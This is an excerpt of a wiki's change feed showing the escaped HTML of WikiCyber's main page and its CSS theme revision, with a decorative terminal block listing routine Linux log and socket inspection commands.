        &amp;lt;div class=&amp;quot;hero-art&amp;quot; role=&amp;quot;img&amp;quot; aria-label=&amp;quot;WikiCyber connects operating systems, network security, and digital forensics knowledge&amp;quot;&amp;gt;&lt;br /&gt;
          &amp;lt;div class=&amp;quot;art-heading&amp;quot;&amp;gt;&amp;lt;span class=&amp;quot;wc-diagram-brand&amp;quot;&amp;gt;&amp;lt;/span&amp;gt;&amp;lt;span&amp;gt;WikiCyber&amp;lt;/span&amp;gt;&amp;lt;/div&amp;gt;&lt;br /&gt;
          &amp;lt;div class=&amp;quot;art-core&amp;quot;&amp;gt;&amp;lt;strong&amp;gt;Knowledge from systems to security.&amp;lt;/strong&amp;gt;&amp;lt;/div&amp;gt;&amp;lt;div class=&amp;quot;art-connector&amp;quot;&amp;gt;&amp;lt;/div&amp;gt;&lt;br /&gt;
          &amp;lt;div class=&amp;quot;art-branches&amp;quot;&amp;gt;&amp;lt;div&amp;gt;&amp;lt;div class=&amp;quot;art-node&amp;quot;&amp;gt;&amp;lt;span class=&amp;quot;wc-diagram-icon wc-diagram-systems&amp;quot;&amp;gt;&amp;lt;/span&amp;gt;Operating systems&amp;lt;/div&amp;gt;&amp;lt;/div&amp;gt;&amp;lt;div&amp;gt;&amp;lt;div class=&amp;quot;art-node&amp;quot;&amp;gt;&amp;lt;span class=&amp;quot;wc-diagram-icon wc-diagram-network&amp;quot;&amp;gt;&amp;lt;/span&amp;gt;Network security&amp;lt;/div&amp;gt;&amp;lt;/div&amp;gt;&amp;lt;div&amp;gt;&amp;lt;div class=&amp;quot;art-node&amp;quot;&amp;gt;&amp;lt;span class=&amp;quot;wc-diagram-icon wc-diagram-forensics&amp;quot;&amp;gt;&amp;lt;/span&amp;gt;Digital forensics&amp;lt;/div&amp;gt;&amp;lt;/div&amp;gt;&amp;lt;/div&amp;gt;&lt;br /&gt;
        &amp;lt;/div&amp;gt;&lt;br /&gt;
      &amp;lt;/div&amp;gt;&amp;lt;/div&amp;gt;&lt;br /&gt;
      &amp;lt;div class=&amp;quot;knowledge-strip&amp;quot;&amp;gt;&amp;lt;div class=&amp;quot;knowledge-strip-inner&amp;quot;&amp;gt;&amp;lt;strong&amp;gt;Find the knowledge you need.&amp;lt;/strong&amp;gt;&amp;lt;div&amp;gt;[[:Category:Windows|Windows]][[:Category:Linux|Linux]][[:Category:Cisco|Cisco &amp;amp;amp; networking]][[:Category:Windows Forensics|Digital forensics]]&amp;lt;/div&amp;gt;&amp;lt;/div&amp;gt;&amp;lt;/div&amp;gt;&lt;br /&gt;
      &amp;lt;div class=&amp;quot;home-section&amp;quot; id=&amp;quot;topics&amp;quot; aria-labelledby=&amp;quot;topics-title&amp;quot;&amp;gt;&amp;lt;div class=&amp;quot;section-heading&amp;quot;&amp;gt;&amp;lt;h2 id=&amp;quot;topics-title&amp;quot;&amp;gt;Build on a stronger&amp;lt;br&amp;gt;technical foundation.&amp;lt;/h2&amp;gt;&amp;lt;/div&amp;gt;&lt;br /&gt;
        &amp;lt;div class=&amp;quot;topic-grid&amp;quot;&amp;gt;&lt;br /&gt;
          &amp;lt;div class=&amp;quot;topic-card&amp;quot;&amp;gt;&amp;lt;span class=&amp;quot;topic-icon blue&amp;quot; aria-hidden=&amp;quot;true&amp;quot;&amp;gt;&amp;amp;#8862;&amp;lt;/span&amp;gt;&amp;lt;h3&amp;gt;[[:Category:Windows|Windows]]&amp;lt;/h3&amp;gt;&amp;lt;p&amp;gt;Accounts, policies, PowerShell, and the foundations of a secure Windows system.&amp;lt;/p&amp;gt;[[:Category:Windows|Explore Windows &amp;amp;#8594;]]&amp;lt;/div&amp;gt;&lt;br /&gt;
          &amp;lt;div class=&amp;quot;topic-card&amp;quot;&amp;gt;&amp;lt;span class=&amp;quot;topic-icon green&amp;quot; aria-hidden=&amp;quot;true&amp;quot;&amp;gt;&amp;amp;gt;_&amp;lt;/span&amp;gt;&amp;lt;h3&amp;gt;[[:Category:Linux|Linux]]&amp;lt;/h3&amp;gt;&amp;lt;p&amp;gt;Permissions, services, account auditing, and practical command-line guidance.&amp;lt;/p&amp;gt;[[:Category:Linux|Explore Linux &amp;amp;#8594;]]&amp;lt;/div&amp;gt;&lt;br /&gt;
          &amp;lt;div class=&amp;quot;topic-card&amp;quot;&amp;gt;&amp;lt;span class=&amp;quot;topic-icon blue&amp;quot; aria-hidden=&amp;quot;true&amp;quot;&amp;gt;&amp;amp;#8984;&amp;lt;/span&amp;gt;&amp;lt;h3&amp;gt;[[:Category:Cisco|Cisco &amp;amp;amp; networking]]&amp;lt;/h3&amp;gt;&amp;lt;p&amp;gt;Networking concepts, routing, and the configuration behind secure connections.&amp;lt;/p&amp;gt;[[:Category:Cisco|Explore networking &amp;amp;#8594;]]&amp;lt;/div&amp;gt;&lt;br /&gt;
          &amp;lt;div class=&amp;quot;topic-card&amp;quot;&amp;gt;&amp;lt;span class=&amp;quot;topic-icon green&amp;quot; aria-hidden=&amp;quot;true&amp;quot;&amp;gt;&amp;amp;#9678;&amp;lt;/span&amp;gt;&amp;lt;h3&amp;gt;[[:Category:Windows Forensics|Digital forensics]]&amp;lt;/h3&amp;gt;&amp;lt;p&amp;gt;Event logs, system artifacts, and methods for understanding what happened.&amp;lt;/p&amp;gt;[[:Category:Windows Forensics|Explore forensics &amp;amp;#8594;]]&amp;lt;/div&amp;gt;&lt;br /&gt;
        &amp;lt;/div&amp;gt;&amp;lt;p id=&amp;quot;search-status&amp;quot; class=&amp;quot;muted&amp;quot; role=&amp;quot;status&amp;quot; aria-live=&amp;quot;polite&amp;quot;&amp;gt;&amp;lt;/p&amp;gt;&lt;br /&gt;
      &amp;lt;/div&amp;gt;&lt;br /&gt;
      &amp;lt;div class=&amp;quot;enterprise-feature&amp;quot;&amp;gt;&amp;lt;div class=&amp;quot;enterprise-feature-inner&amp;quot;&amp;gt;&amp;lt;div&amp;gt;&amp;lt;h2&amp;gt;Follow the evidence.&amp;lt;br&amp;gt;Understand the system.&amp;lt;/h2&amp;gt;&amp;lt;p&amp;gt;Bring structure to an investigation. Start with context, preserve what matters, and compare the records that help explain an event.&amp;lt;/p&amp;gt;[[:Category:Windows Forensics|&amp;lt;span class=&amp;quot;text-link&amp;quot;&amp;gt;Explore the forensics collection &amp;amp;#8594;&amp;lt;/span&amp;gt;]]&amp;lt;/div&amp;gt;&amp;lt;div class=&amp;quot;terminal&amp;quot;&amp;gt;&amp;lt;div&amp;gt;&amp;lt;span&amp;gt;linux &amp;amp;middot; investigation&amp;lt;/span&amp;gt;&amp;lt;/div&amp;gt;&amp;lt;pre&amp;gt;&amp;lt;span&amp;gt;# Establish a starting point&amp;lt;/span&amp;gt;&lt;br /&gt;
$ journalctl --since today&lt;br /&gt;
$ last -a&lt;br /&gt;
$ ss -tulpn&amp;lt;/pre&amp;gt;&amp;lt;/div&amp;gt;&amp;lt;/div&amp;gt;&amp;lt;/div&amp;gt;&lt;br /&gt;
      &amp;lt;div class=&amp;quot;contribution-section&amp;quot; id=&amp;quot;contribute&amp;quot;&amp;gt;&amp;lt;h2&amp;gt;Contribute your experience.&amp;lt;br&amp;gt;Help improve the reference.&amp;lt;/h2&amp;gt;&amp;lt;div&amp;gt;&amp;lt;p&amp;gt;WikiCyber is a free educational project. Invited contributors develop articles, and assigned reviewers review drafts before publication.&amp;lt;/p&amp;gt;[[Help:Your first article|&amp;lt;span class=&amp;quot;text-link&amp;quot;&amp;gt;Writing your first article ?&amp;lt;/span&amp;gt;]]&amp;lt;/div&amp;gt;&amp;lt;/div&amp;gt;&lt;br /&gt;
      &amp;lt;div class=&amp;quot;corporate-rule&amp;quot; aria-hidden=&amp;quot;true&amp;quot;&amp;gt;&amp;lt;/div&amp;gt;&lt;br /&gt;
    &amp;lt;/div&amp;gt;&lt;/div&gt;</summary>
		<author><name>AdminUser</name></author>
	</entry>
	<entry>
		<id>https://wikicyber.org/index.php?title=MediaWiki:Common.css&amp;diff=283</id>
		<title>MediaWiki:Common.css</title>
		<link rel="alternate" type="text/html" href="https://wikicyber.org/index.php?title=MediaWiki:Common.css&amp;diff=283"/>
		<updated>2026-10-16T20:14:51Z</updated>

		<summary type="html">&lt;p&gt;AdminUser: Deploy approved WikiCyber corporate theme&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;&lt;br /&gt;
&lt;br /&gt;
/* BEGIN WikiCyber corporate v1 */&lt;br /&gt;
/* WikiCyber corporate theme. Retains native Vector controls and editor behavior. */&lt;br /&gt;
body.skin-vector-2022{--wc-blue:#2855b2;--wc-line:var(--border-color-subtle,#dce3eb);--bg:var(--background-color-base,#fff);--surface:var(--background-color-base,#fff);--text:var(--color-base,#182638);--muted:var(--color-subtle,#546477);--line:var(--border-color-subtle,#dce3eb);--blue:#2855b2;--green:#24783a;--tint:#edf3fd;--code:#142335;font-family:Arial,Helvetica,sans-serif}&lt;br /&gt;
html.skin-theme-clientpref-night body.skin-vector-2022{--blue:#91b5ff;--tint:#213650}&lt;br /&gt;
@media(prefers-color-scheme:dark){html.skin-theme-clientpref-os body.skin-vector-2022{--blue:#91b5ff;--tint:#213650}}&lt;br /&gt;
.skin-vector-2022 .mw-logo-container{filter:none!important}.skin-vector-2022 .mw-logo-wordmark{font-family:Arial,Helvetica,sans-serif;font-size:28px;font-weight:750;background:linear-gradient(45deg,#2855b2 25%,#41b343 75%);background-clip:text;-webkit-background-clip:text;color:transparent;line-height:1.2}.skin-vector-2022 .wc-slogan{display:block;color:var(--muted);font-size:10px;margin-top:5px;white-space:nowrap}.skin-vector-2022 .vector-header{max-width:1440px;min-height:88px}.skin-vector-2022 .mw-logo{margin-right:20px}.skin-vector-2022 .wc-header-nav{display:flex;gap:24px;align-items:center;font-size:13px;margin-right:auto}.skin-vector-2022 .wc-header-nav a{color:var(--text)}&lt;br /&gt;
.skin-vector-2022 .mw-body h1,.skin-vector-2022 .mw-body h2,.skin-vector-2022 .mw-body h3{font-family:Arial,Helvetica,sans-serif;letter-spacing:-.025em}.skin-vector-2022 .mw-body h1{font-weight:500}.skin-vector-2022 .vector-body{line-height:1.8}.skin-vector-2022 .wc-home-button{display:inline-block;border-radius:4px;background:#2855b2;color:#fff!important;padding:12px 22px;font-size:14px;font-weight:bold}.skin-vector-2022 .wc-corporate .button.primary{background:#fff;color:#17385f}.skin-vector-2022 .wc-corporate .button{display:inline-flex;align-items:center;gap:24px;padding:13px 23px;border-radius:4px;font-size:14px;font-weight:bold}.skin-vector-2022 .wc-corporate .text-link{font-size:14px;font-weight:500}.skin-vector-2022 .wc-corporate .hero-actions{display:flex;align-items:center;flex-wrap:wrap}.skin-vector-2022 .wc-corporate a{color:var(--blue)}.skin-vector-2022 .wc-corporate a:focus-visible{outline:3px solid var(--blue);outline-offset:4px}&lt;br /&gt;
body.skin-vector-2022.page-Main_Page .mw-page-container-inner{display:block;max-width:none}body.skin-vector-2022.page-Main_Page .mw-page-container{padding:0}body.skin-vector-2022.page-Main_Page .mw-content-container{margin:0;max-width:none}body.skin-vector-2022.page-Main_Page .mw-body{padding:0;border:0}body.skin-vector-2022.page-Main_Page .mw-body-header{padding:12px 30px;margin:0}body.skin-vector-2022.page-Main_Page .vector-column-start,body.skin-vector-2022.page-Main_Page .vector-column-end{display:none}body.skin-vector-2022.page-Main_Page .vector-page-toolbar{margin:0;padding:0 30px}body.skin-vector-2022.page-Main_Page #bodyContent{padding:0}body.skin-vector-2022.page-Main_Page #contentSub,body.skin-vector-2022.page-Main_Page #contentSub2{margin:0}body.skin-vector-2022.page-Main_Page .mw-body-header h1{font-size:18px}body.skin-vector-2022.page-Main_Page .mw-footer-container{padding:0 30px}&lt;br /&gt;
.skin-vector-2022 .wc-corporate h1,.skin-vector-2022 .wc-corporate h2,.skin-vector-2022 .wc-corporate h3{font-family:Arial,Helvetica,sans-serif;border:0;padding:0;line-height:1.2}.skin-vector-2022 .wc-corporate .mw-heading{margin:0;border:0}.skin-vector-2022 .wc-corporate .mw-editsection{display:none}.skin-vector-2022 .wc-corporate .topic-grid{display:grid}.skin-vector-2022 .wc-corporate .section-heading{display:flex;justify-content:space-between}.skin-vector-2022 .wc-corporate .topic-card{display:flex;flex-direction:column;border:1px solid var(--line);background:var(--surface);color:var(--text)}.skin-vector-2022 .wc-corporate .topic-card&amp;gt;a{margin-top:auto;font-size:13px}.skin-vector-2022 .wc-corporate .topic-card h3 a{color:var(--text)}.skin-vector-2022 .wc-corporate .topic-card p{color:var(--muted)}.skin-vector-2022 .wc-corporate .blue{color:var(--blue)}.skin-vector-2022 .wc-corporate .green{color:var(--green)}.skin-vector-2022 .wc-corporate .hero-actions p,.skin-vector-2022 .wc-corporate .knowledge-strip-inner&amp;gt;div p{display:contents}.skin-vector-2022 .wc-corporate .terminal{background:var(--code);color:#e4eef7;overflow:hidden}.skin-vector-2022 .wc-corporate .terminal&amp;gt;div{border-bottom:1px solid #ffffff26;color:#b2c1cf}.skin-vector-2022 .wc-corporate .terminal pre{border:0;margin:0;color:inherit;background:transparent;overflow-x:auto}.skin-vector-2022 .wc-corporate .hero-intro{max-width:510px}.skin-vector-2022 .wc-corporate .hero-actions a{color:#fff}.skin-vector-2022 .wc-corporate .hero-actions .primary{color:#17385f}.skin-vector-2022 .wc-corporate .hero-art{color:#fff}.skin-vector-2022 .wc-diagram-brand{display:block;width:34px;height:34px;background:url(&#039;/images/branding/theme-v1/wikicyber-mark-135.svg&#039;) center/contain no-repeat}.skin-vector-2022 .wc-diagram-icon{display:block;width:24px;height:24px;margin:0 auto 10px;background:center/contain no-repeat}.skin-vector-2022 .wc-diagram-systems{background-image:url(&#039;/images/branding/theme-v1/icon-systems.svg&#039;)}.skin-vector-2022 .wc-diagram-network{background-image:url(&#039;/images/branding/theme-v1/icon-network.svg&#039;)}.skin-vector-2022 .wc-diagram-forensics{background-image:url(&#039;/images/branding/theme-v1/icon-forensics.svg&#039;)}&lt;br /&gt;
.skin-vector-2022 #footer-icons{display:flex;align-items:center;gap:14px;flex-wrap:wrap}.skin-vector-2022 #footer-icons img{object-fit:contain}.skin-vector-2022 .wc-sre-logo{display:inline-flex;background:#fff;border-radius:4px;padding:0 5px}.skin-vector-2022 .wc-terms-bar{position:fixed;inset:auto 0 0;z-index:110;display:flex;align-items:center;justify-content:space-between;gap:24px;background:var(--surface);color:var(--text);border-top:1px solid var(--line);box-shadow:0 -4px 24px #1020300b;padding:20px max(28px,calc((100vw - 1320px)/2));font-family:Arial,Helvetica,sans-serif}.skin-vector-2022 .wc-terms-bar h2{font-size:16px;font-weight:bold;margin:0 0 5px;padding:0;border:0}.skin-vector-2022 .wc-terms-bar p{color:var(--muted);font-size:12px;line-height:1.7;margin:0}.skin-vector-2022 .wc-terms-bar a{color:var(--blue);text-decoration:underline}.skin-vector-2022 .wc-terms-actions{display:flex;align-items:center;gap:24px;flex-shrink:0}.skin-vector-2022 .wc-terms-actions button{border:0;background:#2855b2;color:#fff;border-radius:4px;padding:12px 18px;font:700 13px Arial,Helvetica,sans-serif;cursor:pointer}.skin-vector-2022 .wc-terms-actions a{font-size:12px}.skin-vector-2022 .wc-terms-reset{background:transparent;border:0;color:var(--blue);text-decoration:underline;font:12px Arial,Helvetica,sans-serif;cursor:pointer}.skin-vector-2022 .wc-terms-bar[hidden]{display:none}&lt;br /&gt;
@media(max-width:1100px){.skin-vector-2022 .wc-header-nav{display:none}}&lt;br /&gt;
@media(max-width:700px){.skin-vector-2022 .wc-terms-bar{padding:16px 20px;flex-direction:column;align-items:stretch;gap:13px}.skin-vector-2022 .wc-terms-actions{justify-content:space-between}.skin-vector-2022 .wc-slogan{font-size:9px}.skin-vector-2022 .mw-logo-wordmark{font-size:24px}}&lt;br /&gt;
@media print{.skin-vector-2022 .wc-terms-bar,.skin-vector-2022 .wc-terms-reset,.skin-vector-2022 .wc-header-nav{display:none!important}.skin-vector-2022{padding-bottom:0!important}}&lt;br /&gt;
.skin-vector-2022 .wc-corporate .enterprise-hero h1{color:#fff}&lt;br /&gt;
.skin-vector-2022 .wc-corporate .hero-art p{margin:0}&lt;br /&gt;
&lt;br /&gt;
.skin-vector-2022 .enterprise-hero{background:#101f34;color:#fff;position:relative;overflow:hidden}&lt;br /&gt;
.skin-vector-2022 .enterprise-hero:after{content:&#039;&#039;;position:absolute;inset:0;pointer-events:none;background:radial-gradient(ellipse at 90% 80%,#237c5333,transparent 55%)}&lt;br /&gt;
.skin-vector-2022 .enterprise-hero-inner{max-width:1320px;margin:auto;display:grid;grid-template-columns:1.08fr 1fr;gap:60px;align-items:center;min-height:560px;padding:70px 20px;position:relative;z-index:1}&lt;br /&gt;
.skin-vector-2022 .enterprise-hero h1{font-size:clamp(45px,4.6vw,68px);font-weight:500;letter-spacing:-2.6px;line-height:1.07;margin:0 0 28px;max-width:650px}&lt;br /&gt;
.skin-vector-2022 .enterprise-hero h1 span{color:#a0d8b0}&lt;br /&gt;
.skin-vector-2022 .enterprise-hero .hero-intro{font-size:18px;line-height:1.7;color:#c6d3e2;max-width:510px}&lt;br /&gt;
.skin-vector-2022 .enterprise-hero .hero-actions{gap:26px;margin:34px 0 0}&lt;br /&gt;
.skin-vector-2022 .enterprise-hero .primary{background:#fff;color:#17385f}&lt;br /&gt;
.skin-vector-2022 .enterprise-hero .text-link{color:#fff;font-weight:500}&lt;br /&gt;
.skin-vector-2022 .enterprise-hero .primary:hover{background:#edf3fd}&lt;br /&gt;
.skin-vector-2022 .hero-art{position:relative;min-height:350px;display:grid;align-content:center;padding:35px;background-image:linear-gradient(#90b4d40c 1px,transparent 1px),linear-gradient(90deg,#90b4d40c 1px,transparent 1px);background-size:35px 35px;border:1px solid #abc9ef20;border-radius:14px}&lt;br /&gt;
.skin-vector-2022 .art-heading{display:flex;align-items:center;gap:12px;font-size:12px;letter-spacing:1px;color:#b8cbdf;text-transform:uppercase;padding-bottom:23px}&lt;br /&gt;
.skin-vector-2022 .art-heading img{width:34px;height:34px}&lt;br /&gt;
.skin-vector-2022 .art-core{border:1px solid #6b91c466;border-radius:7px;padding:23px;background:#172d48;box-shadow:0 12px 35px #0002}&lt;br /&gt;
.skin-vector-2022 .art-core .art-label{color:#9dbce4;font-size:10px;letter-spacing:1.2px}&lt;br /&gt;
.skin-vector-2022 .art-core strong{display:block;font-size:24px;font-weight:400;margin-top:5px}&lt;br /&gt;
.skin-vector-2022 .art-connector{width:1px;height:29px;background:#79a0ce;margin:auto}&lt;br /&gt;
.skin-vector-2022 .art-branches{display:grid;grid-template-columns:repeat(3,1fr);gap:12px;position:relative}&lt;br /&gt;
.skin-vector-2022 .art-branches:before{content:&#039;&#039;;position:absolute;height:1px;background:#79a0ce;top:0;left:16.6%;right:16.6%}&lt;br /&gt;
.skin-vector-2022 .art-branches&amp;gt;div{position:relative;padding-top:22px;text-align:center}&lt;br /&gt;
.skin-vector-2022 .art-branches&amp;gt;div:before{content:&#039;&#039;;width:1px;height:22px;background:#79a0ce;position:absolute;top:0;left:50%}&lt;br /&gt;
.skin-vector-2022 .art-node{border:1px solid #6b91c466;border-radius:5px;background:#14283e;padding:17px 8px;color:#fff;font-size:12px}&lt;br /&gt;
.skin-vector-2022 .art-node svg{display:block;width:24px;height:24px;margin:0 auto 10px;color:#92c8b0}&lt;br /&gt;
.skin-vector-2022 .art-footer{font-size:10px;letter-spacing:.4px;color:#9bb3ce;margin:21px 0 0}&lt;br /&gt;
.skin-vector-2022 .knowledge-strip{background:var(--surface);border-bottom:1px solid var(--line)}&lt;br /&gt;
.skin-vector-2022 .knowledge-strip-inner{max-width:1320px;margin:auto;display:flex;justify-content:space-between;align-items:center;padding:25px 20px;gap:25px}&lt;br /&gt;
.skin-vector-2022 .knowledge-strip strong{font-size:14px;font-weight:500}&lt;br /&gt;
.skin-vector-2022 .knowledge-strip-inner&amp;gt;div{display:flex;gap:35px;flex-wrap:wrap}&lt;br /&gt;
.skin-vector-2022 .knowledge-strip a{font-size:13px;color:var(--muted)}&lt;br /&gt;
.skin-vector-2022 .home-section{max-width:1320px;margin:auto;padding:72px 20px}&lt;br /&gt;
.skin-vector-2022 .home-section .section-heading{align-items:center;margin-bottom:32px;gap:50px}&lt;br /&gt;
.skin-vector-2022 .home-section h2{font-size:38px;font-weight:400;letter-spacing:-1.2px;line-height:1.2;margin:0;max-width:600px}&lt;br /&gt;
.skin-vector-2022 .section-description{font-size:15px;line-height:1.8;color:var(--muted);max-width:360px;margin:0}&lt;br /&gt;
.skin-vector-2022 .home-section .topic-grid{grid-template-columns:repeat(4,minmax(0,1fr));gap:18px}&lt;br /&gt;
.skin-vector-2022 .home-section .topic-card{border-radius:5px;padding:28px 25px;min-height:315px;transition:border-color .15s,box-shadow .15s;position:relative}&lt;br /&gt;
.skin-vector-2022 .home-section .topic-card:hover{transform:none;box-shadow:0 8px 24px #152d4a0a}&lt;br /&gt;
.skin-vector-2022 .home-section .topic-icon{background:none;width:33px;height:33px;border-radius:0;margin-bottom:30px;font-size:28px;display:block}&lt;br /&gt;
.skin-vector-2022 .home-section .topic-card h3{font-size:21px;font-weight:500;letter-spacing:-.5px}&lt;br /&gt;
.skin-vector-2022 .home-section .topic-card p{font-size:14px;line-height:1.7}&lt;br /&gt;
.skin-vector-2022 .home-section .card-link{font-size:13px;font-weight:500;padding-top:18px}&lt;br /&gt;
.skin-vector-2022 .enterprise-feature{background:var(--tint);border-top:1px solid var(--line);border-bottom:1px solid var(--line)}&lt;br /&gt;
.skin-vector-2022 .enterprise-feature-inner{max-width:1320px;margin:auto;padding:64px 20px;display:grid;grid-template-columns:1fr 1fr;gap:90px;align-items:center}&lt;br /&gt;
.skin-vector-2022 .enterprise-feature h2{font-size:39px;font-weight:400;letter-spacing:-1.2px;margin-bottom:20px}&lt;br /&gt;
.skin-vector-2022 .enterprise-feature p{font-size:16px;line-height:1.8;color:var(--muted);max-width:510px}&lt;br /&gt;
.skin-vector-2022 .enterprise-feature .text-link{display:inline-block;margin-top:12px}&lt;br /&gt;
.skin-vector-2022 .enterprise-feature .terminal{border-radius:7px}&lt;br /&gt;
.skin-vector-2022 .enterprise-feature .terminal pre{font-size:14px;padding:28px;line-height:2.1}&lt;br /&gt;
.skin-vector-2022 .enterprise-feature .terminal&amp;gt;div{padding:15px 20px}&lt;br /&gt;
.skin-vector-2022 .enterprise-feature .terminal&amp;gt;div span{font-size:11px}&lt;br /&gt;
.skin-vector-2022 .contribution-section{max-width:1320px;margin:auto;padding:65px 20px;display:grid;grid-template-columns:1fr 1fr;gap:90px}&lt;br /&gt;
.skin-vector-2022 .contribution-section h2{font-size:34px;font-weight:400;letter-spacing:-1px;max-width:450px;margin:0}&lt;br /&gt;
.skin-vector-2022 .contribution-section p{font-size:15px;line-height:1.8;color:var(--muted);margin-bottom:20px}&lt;br /&gt;
.skin-vector-2022 .home-section #search-status:empty{display:none}&lt;br /&gt;
.skin-vector-2022 .corporate-rule{height:4px;background:linear-gradient(90deg,#2855b2 25%,#41b343 90%)}&lt;br /&gt;
@media(max-width:1150px){.skin-vector-2022 .header{padding:0 25px;gap:22px}&lt;br /&gt;
.skin-vector-2022 .corporate-nav{gap:17px}&lt;br /&gt;
.skin-vector-2022 .brand{min-width:220px}&lt;br /&gt;
.skin-vector-2022 .brand&amp;gt;span{font-size:25px}&lt;br /&gt;
.skin-vector-2022 .brand small{font-size:9px}&lt;br /&gt;
.skin-vector-2022 .search{max-width:240px}&lt;br /&gt;
.skin-vector-2022 .layout{grid-template-columns:160px minmax(0,1fr);gap:24px;padding:0 25px}&lt;br /&gt;
.skin-vector-2022 .enterprise-hero-inner{gap:35px;padding:60px 30px;min-height:510px}&lt;br /&gt;
.skin-vector-2022 .enterprise-hero h1{font-size:53px}&lt;br /&gt;
.skin-vector-2022 .hero-art{padding:22px}&lt;br /&gt;
.skin-vector-2022 .home-section,.skin-vector-2022 .enterprise-feature-inner,.skin-vector-2022 .contribution-section{padding-left:30px;padding-right:30px}&lt;br /&gt;
.skin-vector-2022 .home-section .topic-grid{grid-template-columns:repeat(2,minmax(0,1fr))}&lt;br /&gt;
.skin-vector-2022 .home-section .topic-card{min-height:270px}&lt;br /&gt;
.skin-vector-2022 .knowledge-strip-inner{padding:22px 30px}&lt;br /&gt;
.skin-vector-2022 .enterprise-feature-inner,.skin-vector-2022 .contribution-section{gap:45px}&lt;br /&gt;
.skin-vector-2022 .knowledge-strip-inner&amp;gt;div{gap:25px}&lt;br /&gt;
}&lt;br /&gt;
@media(max-width:850px){.skin-vector-2022 .corporate-nav{display:none}&lt;br /&gt;
.skin-vector-2022 .enterprise-hero-inner{grid-template-columns:1fr;gap:42px;padding:52px 25px}&lt;br /&gt;
.skin-vector-2022 .enterprise-hero h1{font-size:54px;max-width:650px}&lt;br /&gt;
.skin-vector-2022 .hero-art{max-width:590px;width:100%;min-height:300px;justify-self:center}&lt;br /&gt;
.skin-vector-2022 .enterprise-hero .hero-intro{max-width:620px}&lt;br /&gt;
.skin-vector-2022 .knowledge-strip-inner{align-items:start;flex-direction:column;gap:15px}&lt;br /&gt;
.skin-vector-2022 .home-section .section-heading{flex-direction:column;align-items:start;gap:20px}&lt;br /&gt;
.skin-vector-2022 .section-description{max-width:580px}&lt;br /&gt;
.skin-vector-2022 .enterprise-feature-inner{grid-template-columns:1fr;gap:28px}&lt;br /&gt;
.skin-vector-2022 .enterprise-feature .terminal{max-width:650px}&lt;br /&gt;
.skin-vector-2022 .contribution-section{grid-template-columns:1fr;gap:22px}&lt;br /&gt;
.skin-vector-2022 .contribution-section h2{max-width:none}&lt;br /&gt;
body.skin-vector-2022.page-Main_Page .appearance{gap:23px}&lt;br /&gt;
}&lt;br /&gt;
@media(max-width:760px){.skin-vector-2022 .header{padding:17px 20px;height:auto;gap:14px}&lt;br /&gt;
.skin-vector-2022 .brand{min-width:0}&lt;br /&gt;
.skin-vector-2022 .search{max-width:none;background:var(--bg);margin-left:0}&lt;br /&gt;
.skin-vector-2022 .layout{display:block;padding:0 20px}&lt;br /&gt;
body.skin-vector-2022.page-Main_Page .sidebar.open{display:block;padding:20px 25px}&lt;br /&gt;
body.skin-vector-2022.page-Main_Page .page-toolbar{padding:0 20px;height:55px;overflow-x:auto}&lt;br /&gt;
.skin-vector-2022 .page-toolbar&amp;gt;div{gap:20px;white-space:nowrap}&lt;br /&gt;
.skin-vector-2022 .page-toolbar a{font-size:11px}&lt;br /&gt;
.skin-vector-2022 .enterprise-hero h1{font-size:46px;letter-spacing:-1.8px}&lt;br /&gt;
.skin-vector-2022 .enterprise-hero .hero-intro{font-size:17px}&lt;br /&gt;
.skin-vector-2022 .enterprise-hero .hero-actions{gap:22px}&lt;br /&gt;
.skin-vector-2022 .home-section{padding:50px 25px}&lt;br /&gt;
.skin-vector-2022 .home-section h2{font-size:32px}&lt;br /&gt;
.skin-vector-2022 .enterprise-feature-inner,.skin-vector-2022 .contribution-section{padding:45px 25px}&lt;br /&gt;
.skin-vector-2022 .enterprise-feature h2{font-size:32px}&lt;br /&gt;
.skin-vector-2022 .contribution-section h2{font-size:29px}&lt;br /&gt;
.skin-vector-2022 .home-section .topic-card{padding:25px;min-height:290px}&lt;br /&gt;
.skin-vector-2022 .knowledge-strip-inner{padding:22px 25px}&lt;br /&gt;
.skin-vector-2022 .knowledge-strip-inner&amp;gt;div{gap:12px 22px}&lt;br /&gt;
.skin-vector-2022 .hero-art{padding:24px}&lt;br /&gt;
.skin-vector-2022 .article-heading h1{font-size:34px}&lt;br /&gt;
}&lt;br /&gt;
@media(max-width:480px){.skin-vector-2022 .home-section .topic-grid{grid-template-columns:1fr}&lt;br /&gt;
.skin-vector-2022 .home-section .topic-card{min-height:245px}&lt;br /&gt;
.skin-vector-2022 .enterprise-hero h1{font-size:40px}&lt;br /&gt;
.skin-vector-2022 .enterprise-hero .hero-actions{align-items:start;flex-direction:column}&lt;br /&gt;
.skin-vector-2022 .hero-art{padding:20px 15px;min-height:300px}&lt;br /&gt;
.skin-vector-2022 .art-node{padding:15px 3px;font-size:10px}&lt;br /&gt;
.skin-vector-2022 .art-core{padding:18px}&lt;br /&gt;
.skin-vector-2022 .art-core strong{font-size:22px}&lt;br /&gt;
.skin-vector-2022 .art-footer{font-size:9px}&lt;br /&gt;
.skin-vector-2022 .art-branches{gap:8px}&lt;br /&gt;
.skin-vector-2022 .brand&amp;gt;span{font-size:25px}&lt;br /&gt;
.skin-vector-2022 .knowledge-strip strong{font-size:13px}&lt;br /&gt;
.skin-vector-2022 .enterprise-feature .terminal pre{font-size:12px;padding:22px}&lt;br /&gt;
}&lt;br /&gt;
.skin-vector-2022 .enterprise-hero-inner&amp;gt;div,.skin-vector-2022 .enterprise-feature-inner&amp;gt;div,.skin-vector-2022 .contribution-section&amp;gt;div{min-width:0}&lt;br /&gt;
.skin-vector-2022 .enterprise-hero{background-color:#101f34;background-image:linear-gradient(90deg,rgba(10,22,36,.91) 0%,rgba(10,22,36,.78) 42%,rgba(10,22,36,.42) 100%),url(&#039;/images/branding/theme-v1/hero.jpg&#039;);background-size:cover;background-position:center 48%}&lt;br /&gt;
.skin-vector-2022 .enterprise-hero:after{background:none}&lt;br /&gt;
.skin-vector-2022 .hero-art{background-color:rgba(16,31,52,.72)}&lt;br /&gt;
@media(max-width:850px){.skin-vector-2022 .enterprise-hero{background-position:55% center;background-image:linear-gradient(180deg,rgba(10,22,36,.87),rgba(10,22,36,.67)),url(&#039;/images/branding/theme-v1/hero.jpg&#039;)}&lt;br /&gt;
}&lt;br /&gt;
&lt;br /&gt;
/* END WikiCyber corporate v1 */&lt;/div&gt;</summary>
		<author><name>AdminUser</name></author>
	</entry>
	<entry>
		<id>https://wikicyber.org/index.php?title=Main_Page&amp;diff=282</id>
		<title>Main Page</title>
